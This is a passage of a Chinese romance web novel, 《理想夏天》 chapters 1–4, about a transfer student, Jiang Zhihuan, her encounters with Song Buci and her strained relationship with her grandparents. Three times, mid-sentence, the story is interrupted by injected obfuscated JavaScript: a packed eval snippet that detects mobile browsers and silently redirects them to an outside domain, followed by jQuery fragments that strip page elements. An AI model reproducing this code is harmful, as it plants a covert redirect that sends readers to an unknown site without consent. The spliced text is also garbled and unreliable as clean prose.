《理想夏天》 1. Chase 「注定要逝去的东西,你抓不住。」 - 京城,八月下旬。 突如其来一场大雨浇灭整个城市的喧嚣,像是带了情绪,持续到傍晚才停。雨后阴云沉沉,地面潮湿,空气倒是清爽。 夜凉如水。 机车飞驰而过,地面水花四溅,伴随震耳的轰鸣声。 走在人行道上的姜知幻拧眉,下意识抬手捂了捂右耳。 “你在哪?”知性干练的女声在蓝牙耳机中响起。 姜知幻放下手,低头,只见裤子右侧被打湿大片,原本的浅灰色晕染成了深灰色,白色运动鞋也不可避免地沾上污水。 她有些佩服地叹了口气,抬头,直直盯着远走的车屁股,眸色一暗。 “不知道。”姜知幻开口,语气淡淡,夹杂丝丝不耐。 又一阵动静自身后传来,只是感觉越近声音越轻,似乎速度在放慢。 姜知幻扭头,一辆黑色迈巴赫正好慢慢从视野中经过。驾驶位的车窗是降下的,所以她的视线自然而然地落在座上的中年男人身上。 粉色寸头,像颗火龙果。侧脸乍一看有些眼熟,但暂时想不起来在哪见过。 “雨水溅到身上了?”耳机中的女声猜测,语气温和。 姜知幻收回视线没再多看,垂头盯着鞋面,刚要开口,却似有所感般转过头,望向后座,目光一凛。 夜色朦胧,后座车窗紧闭,她不确定到底坐没坐人。即使坐了,两人的目光或许触碰了下,但隔着漆黑车窗,她也没有对视的实感。 不过刚才的某个瞬间,一股“被在暗处的人所凝视”的侵略感忽地油然而生。 令人警觉的同时,心头稍有些许惊奇。 “怎么了?”女人再次发问。 姜知幻回神,车已经走远。 “没事,鞋子脏了。”她兴致缺缺地低下头,说。 大概是错觉吧。 “你那边应该是晚上十一点多吧。”自己女儿什么德性,傅琳心中有数,“玩够了就回家,明天还要赶飞机。” “嗯。” 姜知幻心不在焉地应了声,仍旧漫无目的地前进,丝毫没有掉头回去的意思。 她环顾一圈,皆是陌生景象。 四周的建筑破旧斑驳,低垂的屋檐,灰砖砌成的矮墙,坑洼的水泥人行道,挣扎着闪了两下、终于罢工的路灯,以及叫不出名字的小巷。但目光放高放远,能看见耸立的高楼大厦,还没睡的住户家里亮着灯,星星点点。 两者同时落在眼中,有点新旧交替、时代变迁的分割感。 让出租司机随便开的地方,姜知幻确实不知道是哪儿。 可莫名的,她觉得这儿可比那些个的私人俱乐部有趣多了,更自在多了。 那头缄默不言,没挂电话。 直觉告诉姜知幻,傅琳还有话想说。她不出声催促,也不询问,只垂头,无精打采地踢了脚地上的石子。 “是自愿的吗?”傅琳问,很平常的语气。 姜知幻心知肚明这句话的含义,她笑笑,说:“妈,你就放一百个心吧。” 默了须臾,傅琳“嗯”了声。 通话结束,继续走了会儿,姜知幻看见前面不远处、街对面亮着的霓虹灯光。 是家网吧的店牌,闪烁着“有缘网吧”四个字。 网吧门口,刚才害她溅到水的机车正躺在地上,而那辆迈巴赫也在场,霸道地横挡在机车面前。 机车车主看着约莫二十出头的样子,有些慌措地站在边上,估计是被这阵仗吓到了。但还是梗着脖子,一副不甘示弱的模样。 姜知幻眉梢微扬,摘下掩盖于发丝下的蓝牙耳机,看热闹不嫌事大地抱臂,倚靠着旁边的路灯杆。 还以为是个僻静的地方,没想到挺热闹。 她瞭了眼机车车主,注意力便被其他东西吸引了去。 地面上,一滩滩雨水积聚成的小水洼未干,如同一块块透明调色板,将霓虹灯牌亮着的缤纷色彩都纳入、糅杂其中,看起来像加了柔焦效果的色块,却又互不打扰。 姜知幻垂眸,自顾自地欣赏着,没察觉从迈巴赫上下来的两人。 “啪嗒!” 色块被踩碎,很快又恢复原状。 姜知幻缓缓抬头,看向白色运动鞋的主人。 他背对着她,上身穿一件黑T,下身是条高街复古风牛仔裤,身形清瘦挺拔,简单的穿搭被撑得很有型。 感觉应该是同龄人。 看来,刚才并不是错觉。 思及此,姜知幻听见机车车主大声嚷嚷道:“心理变态才喜欢男人,我说的有错?在场那些人都这么想,凭什么只揪着我不放!” 闻言,她若有所思地看了看他,又看了看那道扎眼的背影。 这片区域落针可闻,显得这句话尤为突兀刺耳。 火龙果笑着从兜里摸出盒烟,正要抽出一根时,发现街对面竟有位观众,于是朝姜知幻的方向看过去。 而黑T少年没动,也没说话,仿佛静止在原地。 姜知幻毫不避讳,大大方方地迎上他的目光。 四目相对间,火龙果微眯起眼睛。 少女身材顶好,腰细腿长,红色一字肩上衣衬出她莹白的肤色,泛着冷感。往那一站,招眼十足。 小姑娘胆子挺大,这么晚了不回家还在外面瞎晃悠,也不怕遇到危险。火龙果心想。 两人对视的第三秒,黑T少年发话了。 “喜欢男人怎么了?” 他的嗓音干净清爽,如同炎热夏日的一杯加冰柠檬汽水,腔调却是随性冷淡的,使人琢磨不透他心里到底在想什么。 各有所喜,各自尊重。 姜知幻脑中没来由地冒出这八个字,无声地回答了他的问题。 机车车主大概是觉得他的话语没啥威慑力,索性放大胆子,直言不讳道:“傻逼同性恋,恶心到家了好吧,有钱人就爱瞎搞。” 火龙果一听,没再关注姜知幻,他转脸面向机车车主,嘴里叼着根烟,递过去一个同情的眼神。 机车车主不服气,欲要张嘴,领口猛地被一只手揪住。他瞋目而视,奋力挣扎却无济于事,便破口大骂起来。 大量侮辱词汇疯狂输出,骂得不是一般的脏。简直不堪入耳。 姜知幻都忍不住皱了下眉。 黑T少年不为所动,只是手上加重几分力道,像是拎小鸡崽般把人扯进旁边的巷子里。 “叮铃叮铃。” 耳边传来清脆的车铃声。 一位眉清目秀的白T少年蹬着山地车,匆匆赶来。 “我…我哥呢?”他停下,见火龙果身旁空无一人,气喘吁吁地发问。 姜知幻的目光在白T少年脸上多停留了两秒。 火龙果往旁边巷子指了指,说:“修理人呢,咱俩在这儿放风就行。” 白T少年瞅了眼巷口,乌漆嘛黑,里面什么也看不见。 他有些担忧,“那傻逼能撑住吗?” “你哥办事你放心,怎么着也能留个全尸。”火龙果不正经地笑了两声,从裤兜里掏出打火机,点燃烟。 白T少年没好气地白了他眼,“谁把那傻逼叫来的,你自己心里清楚。” “我他大爷的哪能想到他叫这种人过来。”火龙果咬着烟,含糊不清道,“宋小少爷,您就放一百个心好了,待会儿回去我就把那人解决了,这种人影响不了咱们两家纯洁的利益关系。” …… 两人你一言我一语地聊着天,气氛还算融洽,丝毫不关心巷子里的情况,也没把街对面唯一的观众放心上。 无灯无火的巷子里时不时传出几声鬼叫,伴着诡异的曲调和旋律。 “卧槽你大爷,神经病!让我出去!” 机车车主声嘶力竭的吼叫从巷子里传出,姜知幻乐了。她凝视巷口,隔岸观火。 真欠啊,不打人却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758460|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用恐怖音乐吓人。 月明星稀,晚风轻拂,微凉。 姜知幻仰头,安静地注视着月亮,柔和的月光映在她眼底,浮躁的心绪渐渐被过滤,一时间竟觉得那人的叫骂声也不怎么聒噪了。 与此同时,街对面。 等人出来的空档,白T少年开了把游戏,火龙果凑过去看。 不知过了多久,少年终于停止了恶趣味把戏。 巷子里不再传出鬼叫,取而代之的是仓惶逃出的机车车主。他面色惨白,四周张望了下,看见蹲在路边打游戏的白T少年,连滚带爬地跑过去,立马躬身道歉。 白T少年懒懒瞥他一眼,无语地笑笑,压根不领情。 不管他接不接受自己的道歉,机车车主已经将车扶起,骑上去,屁滚尿流地开走了。像是生怕黑T少年出来后就逃不掉了。 作为观众,姜知幻旁观了整场闹剧,她歪头,眼睛一瞬不瞬地盯着巷口,等待故事的主角露面。 黑T少年慢步走出,从黑暗行至光亮处,面庞逐渐清晰。他一边将手机揣进裤兜,一边踢了脚地上的石子。 感受到对面那道直白的目光,他漫不经心地掀起眼皮。 两人的视线不出意外地对上了。 姜知幻眸光一亮,少年的正脸出乎意料的俊俏。 他皮肤白皙,五官轮廓分明,上挑的眉目透着凉薄意味,偏偏眼神散漫,冲淡这份冷冽。 少年双手插兜,神色悠闲,变幻莫测的霓虹灯光落在他身上,平静又宁和,两者相映成趣。 宋不辞好整以暇地打量着街对面的少女。 她长发披肩,乌黑深邃的双眸无波无澜,眼风谈不上多锐利,甚至带了点轻佻的笑意。但他能感觉出那身乖张而内敛的刺,平时好好隐藏着,麻烦到头时便会露出。 两人看着对方,嘴角都勾着笑。不知情的人会觉得这是一对许久不见的老朋友。 实际,在此之前,两人素不相识。 一个把报复当乐子看的人,一个用恐怖音乐报复的人。 只一眼,两个异类灵魂相遇、碰撞。 至此,纠缠不清。 “彻底疯狂!” 热血沸腾的游戏声打断两人对视间的微妙氛围,白T少年目不转睛地盯着屏幕,操控角色进攻。 站在一边低头观看的火龙果激动大喊:“上上上!杀杀杀!” 姜知幻:“……” 宋不辞的视线轻飘飘地从少女的右手臂上挪开,不紧不慢地朝后座车门走去。 姜知幻瞧时间,接近凌晨,该回家了。 最后看了眼月亮,她垂头转身。 听到关车门的声音,火龙果回头,这才发现宋不辞已经出来了。 看他径直朝街对面走去,摸不着头脑道:“诶,你去哪儿?” 姜知幻脚步一顿,转身,看见少年手里拿着个绿色包装袋的东西走向自己。 仔细一看,貌似是湿巾纸。 “擦擦吧。”少年将湿巾纸递过来,一手插裤兜,一手指了指她的右手臂。 姜知幻疑惑,低头,手臂往左边微扭一下,这才恍然地“噢”了声。 原来这儿也被溅到了脏水,只是刚才她一心都在裤子和鞋子上,没过多检查其他地方。 水迹已干,泥土色污垢沾在洁白的皮肤上,分外显眼。 “谢谢。”姜知幻接过,目光一凝。 少年收回的那只手十指修长,骨节分明。最让人值得注意的是食指和无名指,各戴了一枚铂金素戒。 是对戒。 情侣对戒? 还是结婚对戒? 姜知幻低眉敛目,对他礼貌地笑了下,说,“有缘再见,下次还你。” 语必,她转身,沿着来时路,头也不回地离开。 宋不辞一言不发地看着少女瘦削高挑的背影,心里揣摩着她说的那四个字。 有缘再见。 有缘,再见。 2. Chase “宋菩萨,又开始释放善心了。”孙百川脚尖在地上用力碾了碾,弯腰捡起熄灭的烟头丢进垃圾桶,揶揄道。 宋不辞悠悠瞥了眼他的火龙果头,懒得吭声。他走到宋理枝旁边,垂眸,居高临下地看着他,语气散漫:“赢了没?准备走人了,小少爷。” “就好。”宋理枝说着,慢吞吞站起身。 后备箱放满了,宋不辞将山地车折叠,塞进了后排车座。 见车轮剐蹭到座椅,孙百川顿时心疼得不行,捶胸顿足道:“靠,你就是这么对待我的爱车?” “是你亲生的么就心疼,人家正主都没发话呢。”宋不辞笑。 宋理枝满不在乎地摆摆手,表示无所谓。 一辆车而已。 “不是亲生胜似亲生好吧!你们简直是暴殄天物!”孙百川手指着两人抖了抖,斥责道,一副恨铁不成钢的表情,他动作轻柔地抚摸着车头,“宝贝儿,咱不跟他俩计较嗷。” “戏精。”宋理枝啧啧两声直摇头,看了眼宋不辞,问,“明天就回去?” 宋不辞点头,挼了挼他的头发,“怎么,舍不得?” 宋理枝拍开他的欠手爪子,看着对面空荡荡的街道,意味不明地笑道:“你才舍不得吧。” “不是吧,你动心了?”孙百川还算精明,反应过来后笑呵呵道,调侃宋不辞,“虽说人家姑娘长得确实漂亮,但也才见一面而已,你这心动得未免也太俗了吧。” 宋不辞看他一眼,打开副驾驶车门,弯身钻进去,扔给他两个字:“不是。” 其余两人紧随其后上了车。 “不是什么?”孙百川系上安全带,被他没头没尾的两个字搞得稀里糊涂,问。 后排的宋理枝插嘴,替宋不辞回答:“不是第一面。” “表兄弟之间也能共脑?”孙百川嘀咕了句,又好奇道,“你们以前见过?” 宋不辞找了个舒服的姿势坐着,眼底含笑,反问:“听过‘我是一条小青龙’这首歌吗?” “当然听过,这童年回忆呀。”孙百川说,“你突然提这茬干啥?” 坐在后面的宋理枝秒懂,唱了起来:“就不告诉你,就不告诉你——” 车厢内陷入一阵静默。 见孙百川满脸无语,宋不辞眼底的笑意更浓了,抬手,跟宋理枝默契地击了个掌。 一个初中生,一个高中生。 作为一位成熟稳重的成年人,孙百川才懒得跟这俩计较,临走前他瞅了眼窗外,嘟哝了句:“这什么鸟不拉屎的地方。” - 翌日下午三点。 从陈叔那儿得知新住址和新学校,又闲谈两句,姜知幻挂断电话。 时隔一年,再次来到这座城市,不是出于拜访问候,而是因为转学。 江城三中,历史背景深,教学质量高,牛娃聚集地。是暑假结束后,她要就读的学校。 姜知幻对这所学校的了解大多源自外婆外公,两位半辈子都奉献给了教育事业的老人家。 来之前,外婆周知敏还在电话里念叨“这是江城最好的学校,你来了后一定要认真学习,把心思放在正轨上……”,她笑着打断,说:“外婆,从小到大,我的衣食住行哪样不是最好的?” 是的,即使经常独居,亲人没有陪伴在身边,但只要有关姜知幻,无论是什么,父亲姜陆予都让陈助以最好的标准给她安排。 这一点,周知敏无从辩驳,却也不妨碍她依旧对姜陆予心存芥蒂。 “最好有什么用,父母教育不到位都于事无补。”周知敏的语气多了两分不悦。 又开始了。 姜知幻极轻地叹了口气,放缓语气:“好啦,我到了后给你打电话。” 她没告诉周知敏航班时间,抵达江城后便拖着行李箱先去了自己的新住处,在家休息两天,熟悉了周边环境,这才打电话过去。 “那你中午来我们这儿吃饭哦,外婆给你做你最爱吃的海带排骨汤。” 姜知幻一眨不眨地盯着纯白天花板,低“嗯”了声,等对方挂电话后,才放下手机。 床上躺了片刻,她起身,趿拉着拖鞋走到衣柜前,在“穿什么衣服”这个问题上犯了难。 破洞漏肩不行,图案花哨不行,颜色太暗没有精气神,颜色太亮过于招摇,设计时髦复杂不理解…… 啧,中规中矩又要文静好看。 思索良久,姜知幻拿下一件白色字母短袖和浅蓝色高腰微喇牛仔裤。由于字母是红色,出门前,她下意识拿出不久前买的那双红色板鞋,一只脚刚放进去,想了想,把鞋子收进鞋柜,换成同样牌子的白色。 她出门,边朝电梯的方向走,边随意扎了个高马尾,袒露出白而修长的脖颈。 披头散发不行,没有学生样。 … 有个词叫“隔辈亲”,虽不完全合适,但是能大致描述一下姜知幻和外公外婆的关系。 两位老人家对傅琳漠不关心,对她却是百般呵护。用外公傅凌杰的话来说,姜知幻是三人之间的缓解纽带。 或许吧。 姜知幻按了两下门铃,如是想。 门打开,周知敏满脸欣喜地看着她,“有知,快进来,外面热。” “外婆。”姜知幻露出一抹浅笑,眼睛弯成月牙,柔声道。 她的眉眼随父母,清冷漂亮到具有攻击性,任谁看了都不会觉得是善茬。正因如此,外公外婆格外不喜欢,在两人眼里,这是叛逆的象征。 荒唐的主观臆断。 好在姜知幻惯会伪装,知道摆出什么样的表情、使用什么样的语气才显得更乖顺敛静。 不过,她也的确不是循规蹈矩、安安分分的人。 姜知幻跟周知敏走进屋,看到坐在红木椅上翻看报纸的傅凌杰,她笑盈盈地喊了声:“外公。” “有知来了,坐。”傅凌杰微微颔首,脸上挂着浅浅笑意。 姜知幻点点头,没过去坐,而是进厨房帮周知敏打下手。 “我们有知真懂事。”周知敏欣慰道。 她和傅凌杰从未叫过姜知幻的名字,都是喊“有知”。十几年的相处下,姜知幻早就习以为常。 当初起名时,傅琳和姜陆予一致敲定“知幻”二字,可老两口并不赞同。 傅琳直言:“我的孩子我想叫什么就叫什么,她要是不喜欢,长大后自己去改。” 这句话,当时把老两口气得不轻,以至于周知敏现在都还耿耿于怀,时不时就在姜知幻面前提,最后的结束语始终如一。 “我怎么生了个这么离经叛道的女儿。”她唉声叹气道。 老两口兢兢业业教书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758461|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育人半辈子,思想比较保守古板,但所盼的不过都是傅琳好。偏偏女儿总是忤逆,导致后来关系越来越差。 TA们不理解傅琳为什么不愿意听一次话,就像姜知幻不理解固执地叫她“有知”的行为。 有知,有知,他们想让她知道什么吗? 傅琳从不跟姜知幻谈论过有关外公外婆,有关三人的事,她都是从周知敏和傅凌杰的口中获知。 “有知,你一定不要像你妈那样,知道没?”周知敏说。 姜知幻没说话,认真洗着菜,像是没听到她的问题。 “知道没?”周知敏重复问道,语气有些咄咄逼人的急切,似乎不得到她的回答就决不善罢甘休。 姜知幻眨了下眼,神色自若地拧紧水龙头,轻轻“嗯”了声。 周知敏顿时舒心一笑,“我们有知真听话。” 姜知幻抬头,对上周知敏的眼睛,透过那慈爱的眼神,看出她眼底的满意之色。 一种“自己的反应在她掌控之中”的满意。 即使周知敏有所隐藏,姜知幻还是看穿了。她视若无睹,温吞道:“外婆,最后一个菜我来炒吧。” “好,有知真乖。”周知敏眼里的笑意更盛了。 餐桌上安静如鸡,遵循“食不言寝不语”的规矩,姜知幻脊背挺直,默默吃完饭。 洗完碗,坐在沙发上陪周知敏闲聊一阵,姜知幻看准时机,欲要开口道别、择日再来时,一向寡言少语的傅凌杰开口了。 “有知,要不要过来跟我们一起住。”他笑眯眯地询问。 周知敏赶忙附和,“对啊,你搬过来和外公外婆一块待着多好,非要一个人住,万一遇到危险怎么办?再说了,如果学习上遇到问题,我们也可以帮你呀。” 姜知幻的目光在一唱一和的两人之间逡巡,抿唇笑笑,用略带撒娇的语气说:“外婆,我的学习能力还不值得你们信任吗?” “有知……” 周知敏张口,话未说完便被打断。 从小到大,姜知幻打断她说话的次数屈指可数。 “好啦,你们不是跟我说过,人与人之间要多点信任吗?相信我,不会有事的。”姜知幻起身,说,“今天要刷的题还没做完,我就先走了。外公外婆,拜拜,改天再来看你们。” 她边说,边快速走到门口。 “姜有知。” 傅凌杰难得带姓叫她,声音冷沉,带着不容抗拒的威慑力。 姜知幻开门的动作一顿,她背对着两人,拧了下眉,深吸一口气后,转身,笑得甜美可人。 “怎么了?外公。”她问。 傅凌杰虽年过六十,但一举一动都带着几分不怒自威的震慑力。那双微微深陷的眼睛犹如猎鹰般锐利有神,从不会流露出像周知敏那样装出的和蔼。 或者说,他根本不屑于装。 “外公不是说过,别人说话时不要打断吗?”傅凌杰微笑道,语气分明温柔,可还是能让人听出言外之意。 这不是质问,是警告。 躁意在心头横冲直撞,濒临装不下去的阈值。 姜知幻默了须臾,嘴边扬起一抹柔和的笑,“对不起外公,我下次注意。” “知错能改就是好孩子,快回去做题吧。”傅凌杰说,目光重新落到报纸上,不再多看她一眼。 3. Chase 出了小区门口,姜知幻扯下皮筋,长发松散下来。她抓了抓头发,然后打了辆出租车。 “棠明林府。”姜知幻报完地址,摸出手机。 到小区时,她设置了静音。现在打开一看,接连不断的消息弹出。 基本都是群消息。 姜知幻划拉两下聊天记录,发现没耐心看进去,索性.息屏。她看着黑里那张面无表情的脸,扯了扯嘴角。 装太久,脸都差点笑僵了。 姜知幻闭目养神,不知为何,脑中无缘无故冒出傅凌杰说的话。 “知错能改就是好孩子,快回去做题吧。” 近乎包容又善解人意的语气,因为他知道,做题不过是姜知幻想逃脱的借口。 躁意愈来愈烈。 姜知幻竭力保持镇静,不去想糟心窒息的话语,结果偏不如她意。 躁意无法平息,傅凌杰说的话甚至在脑中循环播放起来了。 这一刻,她觉得傅凌杰应该去当歌手。 “嘀嘀——” 喇叭声如同及时敲响的警钟,姜知幻猛地睁眼,像是忽然从噩梦中惊醒。 她揉了揉发疼的太阳穴,轻叹一口气。 前面的司机操着一口标准的江城话,开玩笑道,“小姑娘年纪轻轻怎么唉声叹气的,遇到什么烦心事了吗?” 姜知幻还挺喜欢江城话的调调,觉得很有趣,她也用玩笑似的语气回:“要开学了,能不烦吗。” 司机哈哈大笑,“是噢,要开学了,祖国花朵们都会烦的事。” 姜知幻没继续接话,她偏头,百无聊赖地看着窗外一幕幕倒退的风景,掠过第六个小摊贩时,她开口。 “师傅,就在前面的路边停吧。” 猝不及防的一句话让司机愣了下,他疑惑,不是没听清,而是想确认,“在前面路边停?” “嗯。”姜知幻点头。 她忽然想吃路边摊的淀粉肠了。 “好嘞。”司机没多问,找了个合适的位置停车。 姜知幻扫码支付完,开门,弯身下车。很不凑巧,放眼望去,这条街上居然没有路边摊。 真是越想要什么,越受老天捉弄。 她腹诽,往后走,去找刚才看到的摊位。 直至走到一个路口,姜知幻停住脚步,等待红灯变绿灯。隐约听见一阵欢乐吵闹,她循声望去。 左边是一条不长不短的上坡路,半腰处站着几位少年,染着五颜六色的头发,拿着不同颜色的喷漆罐,正对一面灰色墙进行激情创作。 其中一道落拓身影尤为惹眼,个子很高,顶着一头放荡不拘的红发,姿态散漫,懒洋洋地勾着嘴角。其他人嘻嘻哈哈地往墙上挥洒颜料,唯独他迟迟没有画出第一笔。 右手上的两枚戒指,在阳光的照耀下,折射出温润剔透的光泽。 姜知幻紧盯着那张熟悉的侧脸。 恍惚间,昨晚向她递湿纸巾的黑T少年浮现在眼前,与半腰上那道身影渐渐重叠。 与之不同的是,昨晚的他还是黑发。 绿灯亮,周围的人快步往前走,唯恐时间不够。而姜知幻慢慢地,慢慢地走上了上坡路。 最后,鬼使神差地来到红发少年的身旁。 脑中又响起了一道声音。 是她自己的声音。 ——“有缘再见,下次还你。” 知道会再见,但没想到这么有缘。 姜知幻看着红发少年,心里徒留这一个念头。 红发少年扭头,看清来人,轻扬了下眉,显然,他也认出了她。 两人相顾无言少时,红发少年开口,漫不经心地说:“这次可没戏看。” 这句话话仿佛有魔力,姜知幻笑了,心情都随之放松愉悦了点。 神奇的感觉。 其余几个“艺术家”一看来了个漂亮妹子,瞬间正经起来,不推搡也不打闹了,离红发少年最近的那个绿毛问:“你女朋……” “嘿,那边几个小子!”坡顶上,一位身穿工作服的巡警大喊。 大家的注意力都在绿毛未说完的话上,慢半拍转头,望向坡顶。 姜知幻跟着他们同步看去,一眼都还没捞着,就听“哐当”一声,骤然间,左手腕传来温热带点冰凉的触感。 是他的右手。 “快逃啊!”不知是谁叫了句,“艺术家们”纷纷丢下喷漆罐,四散奔逃。 姜知幻任由红发少年拉着,跟随他的脚步跑了起来。 耳边拂过的风炽热滚烫,心情却是那般自在快活。 为什么不甩开他的手?为什么要跟着他跑? 哪怕很多年后,再次回想起来这一幕,姜知幻也给不出明确答案。但至少这一刻,她想到了八个字。 ——短暂摒弃思考,信奉感觉至上。 在这个青春两敌的年纪,如果做每件事都需要理由,那人生实在是太无趣了。 … 记不清到底跑了多久,中途好像还停下来等了五秒的红灯。 待气息喘匀,姜知幻发觉手还被人抓着,她微抬下巴看着旁边人。 “你看。”红发少年松开手,侧头看了眼姜知幻,目光又撇向别处了。 姜知幻顺他的视线看去,视野在顷刻间变得开阔,瞳孔里映着一抹亮色。 视线往上是横跨的大桥,往下是浑厚的江水。 傍晚时分,落日悬停于大桥之上,橘色余晖洒向波光粼粼的江面,轮船悠悠前进,泛起阵阵涟漪。 周围有人赞叹美景,有人拿出手机记录。 而姜知幻听见红发少年问,“听歌吗?” 他低头,从裤兜里摸出手机,语速不疾不徐,平淡得像是随口一问。 姜知幻看着他,默不作声。 红发少年手上动作没停,似乎无论她回答什么,他都会放。 轻快悦耳的前奏响起。 姜知幻眸光微动,别开了眼。 与此同时,第一句歌词唱出。 “WewerebothyoungwhenIfirstsawyou……” 周围有人与同伴低语:“哇塞,是《Lovestory》诶,我特别喜欢听这首歌。” 轮船驶到江中央。 “Romeo,takemesomewherewecanbealone I''llbewaiting,allthere''slefttodoisrun You''llbetheprinceandI''llbetheprincess It''salovestory Baby,justsayyes……” 轮船即将靠岸。 “''CausewewerebothyoungwhenIfirstsawyou.” 整首歌放完,两人全程眺望远方,享受当下的好光景,谁也没有说话。 在自动播放出下一首歌前,红发少年点下暂停键。 “这是哪儿?”姜知幻冷不丁地问。 她只有逢年过节才来江城,每次去的地方都很固定,并且上午去,下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758462|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便坐飞机回了京城,还从来没有好好逛过这座城市。 红发少年倒是有问必答,“临滨路。” 临滨路。 姜知幻在心里默念了遍。 “我叫姜知幻,知幻即离的知幻。”她拿出手机,四处张望了下,然后看着他,不假思索道,“说好还你湿纸巾,但我看附近没有超市。不如我们加个好友,我把钱转给你。” 红发少年看了看马路对面,目光扫过第三家超市名时,轻嗤了声,嘴边牵起的幅度不大,带点玩世不恭的意味。 可面前的少女坦然自若,她整个人被暖色笼罩,碎发随意垂落,平添几分温文。 那双黑白分明眼睛直勾勾地盯着他,完全不在乎他的反应,仿佛写着一句话——今天就算是天王老子来了,那几家也不是超市。 好吧。 红发少年懒散地垂下眼睫,没有戳破她那敷衍又蹩脚的谎话。他的指尖在手机屏幕上点了几下,然后递到姜知幻面前,对她说:“宋不辞,不辞而别的不辞。” 姜知幻扫码,如愿以偿地加到好友。当然,她没忘记问:“那包湿巾纸多少钱?” “不要钱。”宋不辞看了她眼,说,“下次见面,请我喝瓶饮料吧。” 他同姜知幻一起走到马路边。 姜知幻觉得这条件提的挺有意思,“你想喝什么?” 路上车水马龙,宋不辞插兜看着,没回答,眼疾手快拦下一辆出租车。 “随便。”他丢下两个字,朝车停的位置走去。 少年肩膀宽阔,脊背笔直,长臂懒洋洋地举过头顶,像是在伸懒腰,但又漫不经意地挥动了两下。 目视他上车,姜知幻回头看了眼橘子江,倏尔扬起唇角。 方才听歌的场面仿若历历在目,她有些意犹未尽地想,这哪是逃跑啊,分明是私奔。 - 宋不辞没回家,直接去了体育馆。 今天打篮球的人比较多,有几个认识的男生跟宋不辞打招呼,他散淡地扬了扬下巴,冲他们笑,然后走向了羽毛球场。 这会儿夏闲已经收拾好,坐在第一排观看别人的较量,脚边立着瓶喝了大半的运动饮料。 他一只手臂搭在旁边的座椅上,看得正入神,就听见有人在耳边打了个响指,继而坐下。 夏闲目不斜视,似料到谁来了。 “这个时间点,你来走个过场?”他语气不冷不热,有一搭没一搭地聊起天。 宋不辞伸了个懒腰,两条长腿交叠,闻言,脑海里闪过一对冷静凛冽的眉眼。 他没来由地笑了下,解释:“来的路上遇到一群玩涂鸦的,聊了两句,耽误了一阵。” “聊那么久?”夏闲说完,转念一想,就宋不辞那想一出是一出的性子,别说陌生人了,就算是路边偶然碰到的一条狗都能汪上两句。 他没追问,看了宋不辞眼,这才发现他染头发了。 这大胆发色,放在人群中,想不让人注意都难。 “快开学了你染发?”夏闲瞧了眼铁网外站着的两个黑衣人,拍拍宋不辞的肩,说,“Yourparentsarewatchingyou.” 宋不辞也看了眼那两人,都是陌生面孔,估计又换新人了。 他冲两个黑衣人比了个赞,神情和举动跟个幼稚无聊又令人莫测的小孩没差。 两个黑衣人神色漠然,全当视而不见。 没意思。 宋不辞自讨没趣,一声无奈的叹息从喉间发出。他微微歪头,乐呵呵地跟夏闲说:“你猜,哪个是我妈派来的?” 4. Chase 9月5号,正式上课。 江城不愧对“火城”的别称,热浪翻涌,离开空调房,连狗都抓狂。 晴空万里,骄阳似火。 江城三中,校园内大片绿树浓荫如同夏日的挥毫泼墨,哪怕被炎热炙烤,也依然生机勃勃,富有朝气。 这份蓬勃的生命力似乎也影响着莘莘学子。 宽阔长直的走廊上,姜知幻规规矩矩地背着书包,马尾高束,慢条斯理地跟在新班主任关顺身后。 她的打扮干净简单,加上惹眼的样貌,频频收到注目礼。 周知敏昨天陪姜知幻来报道,关顺看过她以前的成绩,科科优异,挑不出丁点毛病。 是个冲刺清北的好苗子。 临走时,关顺跟周知敏说:“师母,替我向傅教授问声好。这段时间太忙,择日去拜访他。” “好孩子。”周知敏拍拍她的手臂,笑容温和,平易近人。 姜知幻神色娴静地站在周知敏旁边,长身玉立,挺拔如松。接收到周顺的视线时,她唇角小幅度地弯了下,倒也是真心实意的一抹笑。 小姑娘的气质涵养很好,一颦一笑落落大方,不会太热情,也不过于冷淡。她将那份该有的疏离感拿捏得恰当好处。 结合家庭背景来看,是个有分寸的乖学生。见到姜知幻的第一眼,关顺先入为主地想。 “关老师好。”认识的女同学跟关顺打招呼,迫不及待地分享喜事,“老师,学校门口新开了家奶茶店,味道还不错,你今天可以去试试。” 关顺舒眉笑道,“真的吗?行,我下午就去看看。” “我强烈推荐椰奶西瓜!”女同学说完,看了眼手腕上的表,“马上要开班会了,我先走了,关老师你记得一定要去哦。” 关顺爽快应下,“好,一定去。” 女同学经过姜知幻时,友好地笑了下。 姜知幻也笑了下,礼貌回应。 不知是否跟学校开放包容的办学理念有关,老师们跟同学的关系亦师亦友,一点不拘谨。 而且…… 姜知幻抬眼,自己将要踏入的班级门上,挂着块蓝底班牌,白字两行。 ——高二理1 ——卷心菜班 